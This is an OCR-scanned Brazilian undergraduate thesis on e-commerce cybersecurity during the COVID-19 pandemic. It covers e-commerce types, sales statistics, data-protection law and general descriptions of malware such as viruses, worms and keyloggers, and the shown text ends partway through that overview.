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RESUMO

Durante a transformagé&o digital no ano de 2019, o mundo se depara com o
nascimento de duas pandemias: SARS-COV 2 (mais conhecida como Coronavirus -
COVID 19) e os ataques digitais. No ano de 2019 tivermos cerca de 24.161 casos de
phishing, j& 0 ano seguinte esse numero chegou a 48.137, ou seja, um aumento de
99% em relacdo ao ano anterior. Paises procuram se readaptar a essa nova realidade
e, diante desse problema em escala mundial, as empresas tentam implementar
estratégias a fim de diminuir o impacto de uma crise interna. Como uma das
consequéncias da pandemia do COVID 19 tem-se a ascensdo do teletrabalho,
chamado também de home-office. Assim, ndo pegar transito, ter flexibilidade de
horérios e melhorar sua qualidade de vida fazem parte do pacote de beneficios dessa
pratica. Em contrapartida, as empresas decidiram, em carater de urgéncia, que seus
colaboradores trabalhassem de suas residéncias, em muitos casos sem definir
politicas de seguranca apropriadas. No Brasil, entre 0s meses de maio e novembro
de 2020 chegou a 8,2 milhdes de trabalhadores home-office, “apenas” 11% dos 74
milhdes de profissionais que continuaram a trabalhar durante a pandemia de covid-
19. O presente trabalho enumera um conjunto de problemas que podem advir do
acesso incorreto, até mesmo malicioso, da integridade laboral dos sistemas,
destacando como principais os tipos de ataques de cibercrime e a forma como o0s
mesmos exploram vulnerabilidades. Sistema de e-commerce, como um exemplo o
sistema das Lojas Renner, que passaram por problemas de vulnerabilidade ao longo
dos ultimos anos conta com atualiza¢gdes massivas que vém sendo implementadas
com o objetivo de melhorar seus requisitos de seguranca. Os resultados da pesquisa
feita sobre o assunto abordado, sera apresentado ao término desse trabalho uma
simulacdo de ataque de virus Ransomware, a fim de exemplificar como pode ser feito
e um conjunto de boas praticas para que os colaboradores e usuarios de sistemas
tenham mais cuidado com as informagdes que disponibilizam.

Palavras-Chave: SARS-COV 2, teletrabalho, cibercrime, ransomware.



ABSTRACT

During the digital transformation in the year 2019, the world is faced with the birth of
two pandemics: SARS-COV 2 (better known as Coronavirus - COVID 19) and digital
attacks. In the year 2019 we had about 24,161 phishing cases, the following year this
number reached 48,137, in other words, an increase of 99% compared to the previous
year. Countries are trying to readjust to this new reality and, in view of this problem on
a global scale, companies are trying to implement strategies in order to reduce the
impact of an internal crisis. One of the consequences of the COVID 19 pandemic is
the rise of telework, also called home-office. Thus, not taking traffic, having flexible
schedules and improving your quality of life are part of the benefits package of this
practice. On the other hand, companies decided, as a matter of urgency, that their
employees work from their homes, in many cases without defining appropriate security
policies. In Brazil, between the months of May and November 2020, it reached 8.2
million home-office workers, “only” 11% of the 74 million professionals who continued
to work during the covid-19 pandemic. The present work lists a set of problems that
can arise from incorrect access, even malicious, of the work integrity of the systems,
highlighting as the main types of cybercrime attacks and the way in which they exploit
vulnerabilities. E-commerce system, as an example the Lojas Renner system, which
went through vulnerability problems over the last few years, has massive updates that
have been implemented with the objective of improving its security requirements. The
results of the research carried out on the subject discussed, will be presented at the
end of this work a simulation of a Ransomware virus attack, in order to exemplify how
it can be done and a set of best practices so that employees and system users are
more careful with the information they make available.

Keywords: SARS COV2, home-office, cybercrime.
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1 INTRODUCAO

Segundo Mendonga (2014), com novas ameacas cibernéticas surgindo a cada
dia, empresas precisam aperfeicoar seus sistemas de protecao, utilizando o que se
conhece sobre o ambiente digital e tecnoldgico e antecipando a acdo de
cibercriminosos, melhorando estratégias e a maneira de pensar sobre seguranca dos
dados. Prevenir e agir de maneira proativa sdo as melhores armas para se empregar
nesse ambiente onde € dificil responsabilizar e punir responsaveis por ataques
virtuais.

Nesse contexto, ao final do ano de 2019, a pandemia da COVID-19 veio para,
também, agravar a qualidade de vida de todos, através de medidas contundentes
como o distanciamento social, dificultando o desenvolvimento econémico, pois nunca
na histéria moderna tinhamos presenciado tal situacdo. Diante disso, ha uma
crescente dependéncia da internet. Para Marco De Mello, CEO da PSafe, de acordo
com a CNN Brasil, 2021, estamos vivendo duas pandemias, coexistentes e aceleradas
Nno mesmo ano.

Ja as empresas de e-commerce sofrem o risco de terem suas lojas virtuais
invadidas por hackers e crackers, os quais buscam descobrir vulnerabilidades e falhas
gue ajudem em suas acgdes, tais como: invaséo a sistemas, adulteracdo de dados e
softwares, obtencédo, vendas de informacdes e utilizacdo de dados bancérios e senhas
em beneficio préprio, entre outras. Levando em consideracéo esse contexto, nota-se
a importancia que a seguranca tem tanto para os consumidores como para as
empresas de e-commerce.

A principal ferramenta de levantamento de informagdes foi a realizacdo de
leitura de publicacdes sobre ciberseguranca e e-commerce em blogs, sites, artigos
cientificos e livros disponiveis na internet, os quais apresentam dados estatisticos ou
relatérios que permitiram chegar a uma conclusdo coerente. O presente estudo tem
como objetivo utilizar-se do modelo descritivo, salientando a importancia de uma
politica de seguranca da informagdo em ambiente virtual focado na plataforma e-
commerce. O referido modelo consiste em uma percepcao sensorial, que fornece

lisura nas informacdes coletadas.

1.1 Objetivo geral
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A proposta deste trabalho é entender a mecanica dos ataques digitais e sugerir

boas praticas de uso na internet através de documentacao direcionada.

1.2 Objetivos especificos

De maneira mais especifica, sera descrito os principais impactos causados por
ataques virtuais nas empresas de e-commerce, € COmo Seus usuarios e colaboradores
tém se comportado com relagédo as medidas de seguranca, ou falta dela.

Logo, visamos:

e Descrever os principais tipos de e-commerce existentes, conceitos de loja
virtual e plataformas, e o desempenho do e-commerce no pais.

e Contextualizar o histdrico dos tipos de ataques, buscando entender o que nos
trouxe até aqui e por que o momento atual é diferente;

e Identificar que tipo de ataque € mais frequente e como explora vulnerabilidades;

e Definir diretivas de seguranca digital;

e Operar Softwares de seguranga digital.

1.2 Justificativa

Comércios eletrdnicos sao plataformas online usadas para compra e venda de
produtos e servigos, as quais durante a pandemia da COVID-19 ganharam enorme
popularidade e diversificacdo de setores.

Para ser um usuario de comércio eletrénico, ou e-commerce, termo mais
comumente utilizado, faz-se necesséario o preenchimento de algumas informacdes
pessoais, tais como endereco para entrega, CEP, CPF, etc.

A partir do momento em que a parte grafica de um site ou um aplicativo para
smartphone é projetada, € comum em desenvolvedores que estéo iniciando o ramo
da programacdo presumir que 0 usuario sabera intuitivamente o que fazer. Esse
“achismo” pode se transformar em problemas depois que forem feitos testes de
usabilidade, nos quais é simulado um ambiente que supostamente um usuario podera
acessar a plataforma, e 0 mesmo pode ndo conseguir entender o que de fato esta
fazendo. Como consequéncia, 0 que era para ser uma forma rapida e pratica sera

transformado em um entrave, tanto para os desenvolvedores quanto para 0S USUArios.
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O presente estudo sera feito para mostrar que tipos de vulnerabilidades existem
na internet, como cada um age e a melhor forma de prevenir esses ataques, pois,
assim como menciona um antigo ditado popular visto nos primoérdios da internet

discada, nada é 100% seguro no formato online.

2 FUNDAMENTACAO TEORICA

Nesta secdo, sera apresentado o embasamento teodrico sobre os conceitos
relacionados a este trabalho. Tais como a origem do e-commerce no Brasil e no

mundo, suas plataformas e seguranca.

2.1 E-commerce

O inicio concreto do comércio eletronico decorreu nos anos de 1990, com a
popularizagéo da World Wide Web. De acordo com Marinho (2015), a primeira venda
online no mundo foi realizada em 1994 pela Pizza Hut, ja no Brasil foi o site de vendas
de livros, o book.net. Neste periodo, menos de 5% da populacdo norte-americana
tinha acesso a internet. Em 1995, Jeff Bezos lanca a Amazon, que atinge rapidamente
0 sucesso de vendas. Neste mesmo ano, surge o ebay, criado por Pierre Omidyar.

Abaixo estdo apresentados o primeiro e-commerce no mundo (Figura 1) e o

primeiro e-commerce no Brasil (Figura 2):
Figura 1: Réplica do sistema que possibilitou a primeira venda online do Pizza Hut nos anos
1990

Documeed UFL: bty Frwes. pezrabes com, |

.
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Welcome to PizzaNet!

Prrsa®iect m Pusa Husts Eloctoorne Ssomcfiomt s 1 brimsph 16 yoms by Puses Hut®and The Sasta Crus Operston® Yo may chek on the Prsa Hot lips on mmy page 80 ssbon commmty iepadiy Pueea¥ict fo
wortenasser & Penoabes COM

1# yom womald lier b0 coder & pirra o be Selivered, pleass provids the following miormation

Fonte: (PIZZAHUT, 2016).
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Figura 2: Primeira compra online no Brasil
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Ribeiro, O Feitico da llha do Pavio

Fonte: (ComSchool, 2021l).

Diante do exposto, descrever o que realmente é e-commerce configura-se uma
atividade complexa devido ao tema ser recente e propicio a mudancas decorrentes
de inovacgbes relacionadas as tecnologias da informacdo. Contudo, o presente
trabalho norteia-se em algumas definicbes que seréo apresentadas posteriormente.

De acordo com Limeira (2003), o e-commerce refere-se a realizar transacdes
por meio de computadores e comunicacdo de dados. E a realizacdo de toda a cadeia
de valor dos processos de negécio num ambiente eletrénico, através da aplicacédo
intensa de tecnologias de comunicacgao e de informacao, atendendo aos objetivos de
compra e venda de informacdes, produtos e servigos.

Por sua vez, para Albertin (2000, p.15) o comércio eletrénico pode ser definido
como “a realizagao de toda a cadeia de valor dos processos de negécio num ambiente
eletrbnico, por meio da aplicacdo intensa das tecnologias de comunicagcéo e de

informacéao, atendendo aos objetivos de negdcio”.

2.2 Classificacdo de e-commerce

De acordo com Turban et al. (2005 apud MARTINS, 2014), o e-commerce pode

ser classificado em sete principais tipos, conforme mostra a Tabela 1:

Tabela 1: Sete principais tipos de e-commerce.

Cora Ronay, entre um micro e um mergulho,
- N ermnautas: No Malha de
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Subdiviséo Sigla Significado
Business-to-business B2B E a relacdo entre duas empresas. Esse tipo de transacdo
se da através de redes privadas compartilhadas entre
elas.
Business-to-Consumer B2C E o mais conhecido, envolve venda direta entre

fabricantes e distribuidores ao consumidor final,

Business-to-employee B2E E quando as empresas criam plataformas como a intranet
para oferecer produtos aos seus funcionarios com pre¢os
menores.

Business-to-government B2G Na qual uma empresa vende para 0 governo.

Consumer-to-business c2B Nesse caso o consumidor é quem oferta seus produtos

para empresas, formato pouco conhecido no Brasil.

Consumer-to-consumer cacC Nesse formato, a relagdo é de consumidor para
consumidor, através de uma plataforma que promove a
intermediacdo da operacao.

M-Commerce MC O Comércio Movel representa transacdes comerciais
realizadas por meio de dispositivos moveis.

Fonte: MENDONCA (2016, P.44)

Outrossim, segundo Mendes (2013), cada tipo de modelo de negdcios € unico
e possui também formas Unicas de serem implementadas. Normalmente, empresas
utilizam mais de um tipo de comércio eletrdbnico com o objetivo de atingir melhores
resultados com seus consumidores e obter receitas maiores. Os tipos de e-commerce

continuam a evoluir de acordo com as novas tendéncias tecnolégicas.

2.1.2 E-commerce no Brasil

O e-commerce no pais tem apresentado bons numeros de crescimento,
consumidores brasileiros cada vez mais estdo usando a internet para adquirir bens,
produtos e servicos, pois existe uma grande facilidade de comparar precos em
diversas lojas online e, consequentemente, de realizacdo das comprar com um melhor
custo-beneficio.

De acordo com o site ecommercebrasil.com.br, o nimero de consumidores que
realizaram compras no e-commerce no ano de 2020 foi de 40,9 milhdes de
consumidores unicos, sendo 47% deles, cerca de 20 milhdes, estreantes nessa

modalidade, um crescimento de 7,88% em relacdo ao ano anterior.
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O crescimento do e-commerce no Brasil impulsionou o surgimento de centenas
de novas empresas no setor, o0 que invariavelmente criou uma maior competicao entre
essas lojas virtuais. Contudo, esse cenario resultou em melhorias nos servigcos
prestados por essas lojas e colaboraram para o aumento da confianca dos
consumidores nesse setor. Apesar do setor econdmico passar por um momento
adverso, no primeiro trimestre de 2021 o e-commerce teve uma alta de 57,4% em
relacio ao ano de 2020, como pode ser visto na figura 3.

(https://www.ecommercebrasil.com.br).

Figura 3: Vendas on line no Brasil, de fevereiro a marco de 2020.

% DE CONSUMIDORES REALIZANDO A PRIMEIRA COMPRA ONLINE

Fonte: (ecommercebrasil, 2020).

O crescimento do e-commerce no Brasil se deve, basicamente, a mudancas
nas preferéncias de produtos adquiridos online. Em 2019, por exemplo, 0s
consumidores virtuais preferiam itens de vestuario e eletrodomeésticos, segundo a eBit,

conforme representado na figura 4.

Figura 4: Categorias mais vendidas no ano de 2019.


https://www.ecommercebrasil.com.br/noticias/primeiro-trimestre-de-2021-vendas-alta-de-57/
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2.5.1 Seguranca da informacdo no e-commerce

Uma questéo que ainda aflige consumidores e empreendedores decorrente do
aumento da demanda de compras online é a seguranca. Consumidores se preocupam
quando vao digitar o numero do cartdo na plataforma, e outras informacdes
confidenciais, quando compram pela internet. Para Albertin (2000), além dos riscos
de falhas e fraudes, a questdo da seguranca esta relacionada também ao risco da ndo
adesdo do comércio eletrbnico pelos seus potenciais consumidores, o que faz com
gue as empresas tenham que comprovar aos seus consumidores em potencial que
suas plataformas sédo confiaveis, que os dados pessoais e bancarios dos
consumidores sao preservados e 0s produtos serdo entregues, pois, para as pessoas
gue nunca realizam compras Vvirtuais, essas questbes provocam grandes

preocupacodes e as distanciam deste tipo de comeércio.



20

De acordo com Marques (2007) a seguranca é considerada um dos maiores
obstaculos para a evolucdo do e-commerce. Muitas empresas do setor estao
investindo em sistemas que tornam suas plataformas de negdécios mais seguras,
implementado taticas e técnicas que abrangem desde a seguranca fisica dos
computadores até a forma em que os dados trafegam pelas redes. Entretanto, quanto
mais as empresas avancam nesse quesito, mais evoluidas também séao as formas de
burlar essa seguranca.

O numero de consumidores, que sé compartilham informacdes pessoais
guando ha necessidade explicita nos sites em que visitam, subiu de 28,4% para 33,4%
em um ano, segundo pesquisa nacional feita pela Serasa Experian. Ja o numero de
internautas que sempre compartilham seus dados, ainda que ndo se sintam seguros,
caiu de 35,7% para 30,9% no mesmo periodo.

“Se a compra foi feita em ambiente digital, o prejuizo é da loja. Se foi em um
estabelecimento fisico, o banco ou a bandeira arcam com esse ressarcimento. Um
site que tem muitas compras com esses estornos, além do prejuizo de ndo receber
pelos produtos ou servigos, costuma ser penalizado pelas bandeiras dos cartdes com
multas”, explica Thiago Bordini, diretor da Axur. (Oglobo.com, 2021)

Na Figura 5, é possivel acompanhar a comparacéo dos ataques cibernéticos

entre os anos de 2019 e 2021:
Figura 5: Ataques cibernéticos 2020

2020: Atagues cibernéticos e COVID-19

de COVID 19 no Brasi|

asos

de ataquesregistrados (em
(

Tentativas

Fonte: https://inforchannel.com.br/2021/03/03/ataques-ciberneticos-no-brasil-crescem-860-na-pandemia/
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Estatisticas como essa sinalizam uma grande mudanca cultural em curso, que
afeta a atividade online dos consumidores nos principais portais de e-commerce.
Todos esses fatores estdo fazendo com que as preocupagdes com a seguranga em
portais de e-commerce ganhem destaque nas conversas dos altos executivos de

empresas.
A Figura 6 atesta a sensacdo de seguranca do consumidor brasileito ao

compartilhar dados em sites:
Figura 6: Sensacéo de seguranga do consumidor brasileiro ao compartilhar dados em sites.

Fonte: Serasa Experian

Fonte (Serasa Experian)

A pesquisa da Serasa Experian também mostrou que o numero de brasileiros
gue sofreram fraudes e problemas de exposicdo em relacdo aos seus dados
aumentou em 2020, de 12,7% para 17,4%.

A Tabela 2 apresenta o percentual de consumidores que ja sofreram ou nao

algum problema relacionado aos seus dados pessoais:

Tabela 2: Consumidores que sofreram algum problema relacionado aos seus dados

Consumidores que ja sofreram ou ndo algum problema 2019 2020
relacionado aos seus dados pessoais (mar-abr/2019-2020)
| Nunca tive problemas com vazamento dos meus dados pessoais | 62,1% | 57,0%
Sofri uma fraude pessoal, mas meus dados nao foram expostos 8.3% | 10,6%
Ja comprei em sites falsos que descobri somente apés a compra | 7.7% | 10,8%
Ja tive problemas em sites hackeados e meus dados foram 7.5% | 10,0%
expostos ) )
Sofri uma fraude pessoal e meus dados foram expostos 5,2% 7.4% |

Fonte: Serasa Experian

Fonte (Serasa Experian)



22

2.5.2 Casualidades que prejudicam a seguranca dos sistemas de informacéao

De acordo com Marciano (2006), a utilizagdo cada vez mais ampla e
disseminada de sistemas informatizados para a realizagdo das mais diversas
atividades, com a integracao destes sistemas e de suas bases de dados por meio de
redes, faz com que as informacdes sejam vistas como um ativo informacional, no
sentido de ser um bem a ser preservado e valorizado. Como esses ativos
informacionais se encontram dispersos nos ambientes organizacionais, eles estao
dependentes de eventos prejudiciais a sua seguranca, cCOmo as ameacas, as

vulnerabilidades, os incidentes e 0s riscos.

2.5.2.1 Ameagcas e ataques

Segundo Albertin e Moura (1998), uma ameaca pode ser definida como uma
circunstancia, condi¢cdo ou evento com potencial para provocar danos em dados ou
recursos de rede, através de destruicdo, exposi¢cdo, modificacdo de dados, negacao
de servico, fraude, perda ou abuso.

De acordo com Queiroz (2007), as ameacas podem ser classificadas da
seguinte forma:

. Ameacas naturais: Sao as ameacgas que ocorrem devido aos
fenbmenos da natureza.

. Ameacas involuntarias: Sdo as ameacas provocadas de forma
inconsciente, frequentemente, devido ao desconhecimento, acidentes, erros etc.

. Ameacas voluntarias: Sao as ameacas relacionadas, geralmente, com
a Engenharia Social, causadas por hackers, cracker, invasdes, espifes. Sao
realizadas de forma proposital por pessoas mal-intencionadas.

A determinacao de um risco de seguranca da informacao envolve a coleta de
dados sobre varios elementos ou fatores de risco: ativos, ameacas, vulnerabilidades,
probabilidades, consequéncias e impactos.

Segundo Marciano (2006), um ataque pode ser definido como a concretizagao
de uma ameaca, ndo necessariamente bem-sucedida, do ponto de vista do atacante,
mediante uma acéo deliberada e, por vezes, meticulosamente planejada.

De acordo com Laureano (2005), os ataques a sistemas de informac¢ao podem

ser classificados da seguinte forma:
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. Ataques de interceptacdo: Neste tipo de ataque, 0 acesso as
informacdes é interceptado por entidades ndo-autorizadas, como o0s casos de violagcao
de privacidade e de confidencialidade das informagoes.

. Ataques de interrupcao: Neste tipo de ataque, ha uma interrupc¢éo do
fluxo normal das mensagens ao destino.

. Ataques de modificacdo: Neste tipo de ataque, ha modificacdo de
mensagens por entidades ndo autorizadas e a violagdo da integridade das
informacgoes.

. Ataques de personificacdo: Neste tipo de ataque, uma entidade néo-
autorizada acessa informacdes ou transmite mensagens se passando por uma

entidade auténtica, causando a violagdo da autenticidade.

2.5.3 Vulnerabilidades e Incidentes

Segundo Marciano (2006), uma vulnerabilidade representa um ponto potencial
de falha, ou seja, um elemento relacionado a informacdo que € propenso a ser
explorado por alguma ameaca, que pode ser um servidor ou sistema computacional,
uma instalacdo fisica ou, ainda, um usuario ou um gestor de informacdes
consideradas sensiveis.

As vulnerabilidades ocorrem devido a varios aspectos, como auséncia de
politicas de seguranca; auséncia de procedimentos de controle de acesso,
equipamentos obsoletos, sem manutencdo e sem restricdes de utilizacdo; software
sem patch de atualizacdo e sem licenca de funcionamento etc.

De acordo com o site do Governo Federal ANPD (Autoridade Nacional de
Protecdo de Dados), um incidente é qualquer evento adverso confirmado, relacionado
a violacdo na seguranca de dados pessoais, tais como acesso nao autorizado,
acidental ou ilicito, que resulte na destruicéo, perda, alteracdo, vazamento ou, ainda,
qualquer forma de tratamento de dados inadequada ou ilicita, que possa ocasionar
risco para os direitos e liberdades do titular dos dados pessoais.

Entre alguns exemplos de incidentes de segurancga pode-se destacar: tentativa
de uso ou acesso nao autorizado a sistemas ou dados; tentativa de tornar servigos
indisponiveis; modificagbes em sistemas (sem conhecimento ou consentimento prévio

dos responsaveis); e o desrespeito a politica de seguranca de uma instituicao.



24

2.6 Protecdo de dados no e-commerce

O advento das transacdes comerciais realizadas entre os consumidores e as
empresas em meio digital, para Gomes (2013), provocou uma série de perguntas
sobre o0s acertos necessarios para proteger as informacbes pessoais dos
consumidores.

Além das informacfes pessoais atreladas ao e-commerce, houve um
crescimento na coleta e na comercializacdo das informacgGes pessoais em toda a
internet. Tais informacdes relativas a uma determinada pessoa sdo desde
caracteristicas fisicas até habitos dos mais variados possiveis, de modo que o
cruzamento desses dados permite tracar um verdadeiro perfil de determinada pessoa.

Ainda para o autor, a coleta dos dados pessoais € realizada de varias formas,
como por exemplo, através da técnica clickstream information (informacé&o de fluxo de
clique), que significa, literalmente, a gravagcéo de cada clique do mouse que localiza
uma pagina da internet selecionada, e € recolhida, muitas vezes, sem o conhecimento
ou consentimento do usuario. Deste modo, a medida que o consumidor navega pela
internet, um rastreamento do percurso navegacional do usuario no sistema é
realizado.

Outro exemplo de coleta de dados sdo os cookies, que sao arquivos onde
guardam informacdes que ajudam a identificar cada internauta, como o endereco IP,
termos pesquisados, conteldos acessados, configuracdes salvas, e que podem ser
usados, ndo so para acompanhar o trafego na internet, mas também para criar perfis
de interesse dos usudrios online e padrdes de navegacdo. Através dos cookies é
possivel identificar qual o navegador utilizado, o sistema operacional, os horarios dos
acessos, a quantidade de acessos, as areas de preferéncia, bem como o nimero do
IP.

Depois que ocorre a coleta dos dados pessoais pelos servidores da rede, estes
sdo armazenados em banco de dados e podem ser comercializados. O valor destes
dados refere-se ao poder que essas informacdes propiciam as empresas que obtém
as preferéncias e os comportamentos de inmeros usuarios dos mais variados lugares
do globo.

Esse tipo de coleta, segundo Gomes (2013), pode gerar um cenario que gera
desconfianca por parte dos consumidores do e-commerce, que ficam receosos em

fornecer informagbes pessoais e financeiras por meio da internet por representar
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Sérios riscos, tendo em vista a sua vulnerabilidade. Falando sobre privacidade, o envio
de informacdes de cartdo de crédito através da internet pode causar o risco das
informagdes serem interceptadas e usadas por outro que ndo aquele a quem a
informacéo se destina de fato. O acesso ndo autorizado a informacao e a perda de
confidencialidade podem gerar varias formas de “roubo de identidade”, em que o
consumidor perde o controle sobre suas informacfes pessoais.

Apenas o fato de haver a coleta de dados pessoais por parte de quaisquer sites
ja se configura como invasao de privacidade. Por isso, é fundamental que esses sites
apresentem uma Politica de Privacidade séria que deixe de forma clara quais dados
serdo coletados e para que finalidade sé&o destinados aos mesmos. Para o caso dos
sites de e-commerce, deve-se questionar se 0os dados pessoais sao repassados para
outras empresas e o que € feito com os dados bancarios apds a realizacdo das
compras. Ja os usuarios devem se conscientizar de ndo fornecer seus dados pessoais
a sites que nao apresentem uma Politica de Privacidade séria, e nao realizar
transaces comerciais com lojas virtuais que nao possuem uma boa reputagéo, com
casos reportados de fraudes e vazamentos de dados pessoais. Também é importante
realizar outras acdes para certificar da veracidade do site de e-commerce, como:
verificar o certificado de seguranca da loja virtual; observar se o site utiliza conexéo
segura (HTTPS); pesquisar em sites de reclamacdo de consumidores, como 0O
Reclame Aqui, 0 que dizem sobre a empresa que deseja realizar compras; e evitar

acessar a loja virtual vinda de links enviados por e-mail.

2.7 Orisco sobre sites de e-commerce inseguros

Determinadas informacOes pessoais podem ser coletadas nos modos
relacionados na secao anterior, mas também através de sites criados por hackers e
crackers que visam enganar os consumidores desatentos. Alguns exemplos desses
tipos sao os sites falsos de e-commerce e o site de e-commerce fraudulento.

. Site falso de comércio eletrénico: De acordo com CERT.BR, 2012,
um hacker ou cracker pode criar um site falso, similar ao site original de e-commerce,
e induzir os consumidores a fornecerem dados pessoais e financeiros.

. Site de comércio eletrénico fraudulento: Para o CERT.BR, 2012, um
hacker ou cracker pode criar um site fraudulento, com o objetivo de enganar os

consumidores e obter seus dados pessoais indevidamente. Essas lojas virtuais
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fraudulentas oferecem produtos com precos bem mais baixos que os encontrados no
mercado. Frequentemente, recebem o pagamento a vista, mas ndo entregam as
mercadorias. Por divulgarem seus produtos em sites confidveis de comparacéo de
precos, como Buscapé e Zoom, atraem até mesmo 0s consumidores mais

acostumados a comprar online.

2.8 Marco civil da internet e Lei Geral de protecéo aos dados (LGPD)

O site do tribunal de justica do Distrito Federal comenta que, para solucionar
guestdes relativas a protecdo dos dados pessoais e para estabelecer principios,
garantias, direitos e deveres para o uso da Internet no Brasil, foi sancionada em 23 de
abril de 2014 a Lei n° 12,965, denominada de Marco Civil da Internet, o qual € uma
espécie de “Constituicdo da Internet”’, no qual sdo determinadas regras e conceitos
basicos de rede.

A Lei Geral de Protecdo de Dados Pessoais tem como base a lei europeia de
protecdo de dados conhecida por GDPR. Até o ano de 2018, o Brasil ndo tinha
nenhuma determinacdo acerca do cuidado e a seguranca necessaria a coleta de
dados. Lembrando que este fato esteve cada vez mais recorrente nas relacdes
comerciais entre empresa x cliente.

Isso se tornou ainda mais evidente com as constantes evolu¢des tecnolégicas
que abriram as portas para o mercado virtual que sé cresce desde o seu inicio. Foi
em setembro de 2020 que a Lei n° 13.709/18 entrou em vigor, trazendo a
obrigatoriedade de diversas adequacfes para as lojas fisicas e virtuais, visando ao
pleno cumprimento da LGPD. (ECOMMERCEBRASIL, 2021).

A LGPD apresenta determinacdes acerca dos dados pessoais (nome, idade
etc.); dados sensiveis (religido, ideologias etc.); dados anonimizados (titular que nao
pode ser identificado), além das acdes a serem realizadas com os dados fornecidos.

Quando um cliente solicita a anonimizacdo dos seus dados, todas as
informacgdes fornecidas a loja precisam ser desvinculadas e excluidas. Portanto, deve
ser impossibilitado refazer o caminho para acessar os dados daquele cliente, ainda
gue sejam utilizados meios técnicos ou softwares especializados.

Ha uma diferenca importante entre anonimizacgéo e pseudo anonimizagao:

) Tendo os seus dados anonimizados, o cliente tem a sua identidade

protegida e estes dados ndo podem ser rastreados, sob pena de descumprimento da
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LGPD. Além disso, uma vez anonimizados, esses dados passam a ndo ser mais
protegidos pela LGPD. Afinal, o acesso a essas informacdes foi excluido de maneira
permanente;

) Jé a pseudo anonimizacg&o ndo exclui completamente a possibilidade de
acesso aos dados, podendo ser feita através de chaves de acesso distintas e/ou
diferentes bancos de dados. Isso significa que, mesmo que os dados sejam
modificados para dificultar o acesso, eles ainda podem ser identificados através de
criptografia ou outros meios técnicos.

Alguns critérios do marco civil da internet e a LGPD atingem questbes
relacionadas ao e-commerce, como a protecdo a privacidade e o impedimento da
coleta indevida de dados e sua comercializagcdo. Esses aspectos serdo descritos a

seqguir:

2.8.1 Armazenagem de Registros (logs)

Logs sdo armazenamentos de registros de um usuario na conexao ou em
servicos online. Esses logs registram o endereco IP, a data e a hora em que um
usuario faz alguma interacdo online, seja no acesso a conta de e-mail, fazer
comentarios em foruns ou publicacédo de textos em blogs. Esses logs nédo registram o
contetido das comunicacdes ou o habito da navegacdo, mas apenas as informacdes
da prépria conexdo a internet, chamado de logs de conexdo, ou do acesso aos
servi¢cos ou aplicativos, chamado de logs de acesso a aplicacéo.

Segundo Asamura (2014), e de acordo com o Marco Civil da Internet, um site
de e-commerce € considerado um provedor de aplicacdes de internet. Assim sendo,
este deve manter os logs de acesso do usuario, sob sigilo, em ambiente controlado e
de seguranca, pelo prazo de seis meses.

O usuério passa a ter direito reconhecido em lei de ndo ter seus dados,
incluindo habitos de navegacdo e logs, repassados para terceiros sem 0 seu
consentimento expresso e livre. Assim, para que os dados pessoais e logs possam
ser transferidos para terceiros, 0 usuario deve estar expressamente ciente dessa
pratica e autoriza-la.

As informac0des pessoais podem possuir um alto valor econémico para diversos
setores da sociedade, como empresas interessadas em perfis de consumo, hackers

e crackers para seu uso indevido. Diante a isso, o setor do e-commerce deve buscar
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meios de protecdo eficientes para esses dados e deixar claro como eles serdo
manipulados. Quem acessa a internet de modo geral também deve estar consciente

de que néo se deve fornecer informagdes pessoais a sites inseguros e desconhecidos.

2.9 Principais riscos de seguranca para o e-commerce

Na maioria das vezes, os alvos de hackers e crackers ndo sao os sites de e-
commerce, mas seus consumidores. Esses riscos podem levar a utilizagdo indevida
de informacdes sigilosas e confidenciais e ocasionar problemas como perdas
financeiras e roubo de identidade.

A seguir seréo apresentados alguns desses riscos que 0s consumidores correm

nas compras feitas nos sites de e-commerce:

2.9.1 Virus

Age de modo igual ao virus biolégico da COVID-19, que 0 mundo vem
enfrentando nos altimos anos, o qual tem como caracteristica ser um micro-organismo
biolégico que tem como poder infectar um sistema e outros organismos, criando
copias de si préprio como forma de “ataque”. Geralmente, é propagado por e-mail ou
dispositivos removiveis, como um pen drive. Além disso, o virus também consegue
infectar outros computadores e pode ser programado para apagar dados ou até
mesmo altera-los. (ECOMMERCEBRASIL, 2021).

Um virus computacional € uma forma de software com cédigos maliciosos, seu
intuito é alterar a forma do funcionamento de um dispositivo e infectar outros
dispositivos, distribuindo-se na rede dos mesmos. Este tipo de virus atua
principalmente se anexando de forma sigilosa em documentos ou softwares, para
assim entdo poder executar seu cédigo.

De acordo com Novaes (2013b), um virus ndo sO consegue infectar outros
computadores, mas também pode ser programado para apagar dados ou até mesmo

altera-los.

2.9.2 Worm
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Um Worm de computador € um tipo de virus que possui como caracteristica
principal o poder de se replicar, seja por e-mail (Worms de E-mail ou Mass-Mailer),
pela rede, ou até mesmo por outras plataformas. A diferenca basica de um worm para
um virus comum € que O virus necessita de um hospedeiro para se propagar,
diferentemente do worm que ja € seu proprio hospedeiro.

De acordo com CGIBR (2006).

“O mais famoso caso de worm é o conhecido Stuxnet, e &
certamente o que melhor evidencia a ciberguerra, com
origem atribuida aos Estados Unidos, o virus Stuxnet
ganhou reconhecimento apés danificar o programa de
energia nuclear do Ir&. Seria entdo, um dos primeiros casos
em que um pais teria usado um virus de computador para
atacar um outro pais rival. Saliento que embora o Stuxnet
tenha o adjetivo virus, ele na verdade € um Worm; 0s virus
de computador ndo conseguem se reproduzir, enquanto 0s
Worm sao autorreplicantes.”

2.9.3 Spywares, Keyloggers e Hijackers

Mesmo ndo sendo necessariamente um virus, estes trés nomes também
representam perigo. Spywares sdo aplicativos que monitoram as atividades dos
usuarios captando informacdes sobre eles. Os spywares podem vir introduzidos em
softwares desconhecidos ou serem baixados automaticamente quando o usuario
visita sites de conteudo duvidoso. Muitos spywares podem ser obtidos instalando
programas como LimeWire, Ares, entre outros. Segundo Novaes (2014a), este
malware também é utilizado por anunciantes, para saber os habitos online dos
usuarios e desenvolver anuncios “customizados” de acordo com as informacdes
coletadas.

Os keyloggers sao pequenos aplicativos que podem vir embutidos em virus,
spywares ou softwares do género. Destinados a captar tudo o que é digitado no
teclado, seu objetivo principal é o de colher senhas. Trata-se de um software que fica
alojado na memoria, como 0s virus ou worms, e é sensivel a qualquer tecla do teclado,
gerando um log de tudo que é digitado. Muitos até enviam por e-mail os logs para

seus criadores.
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Hijackers sao softwares ou scripts que se integram a navegadores de Internet,
principalmente o, ja ultrapassado, Internet Explorer. De acordo com Duarte (2015),
quando isso ocorre, o hijacker altera a pagina inicial do seu browser e o impede de
mudé-la, exibe propagandas em uma janela ou aba diferente no navegador, chamada
de pop ups, instala barras de ferramentas e podem impedir acesso a determinados

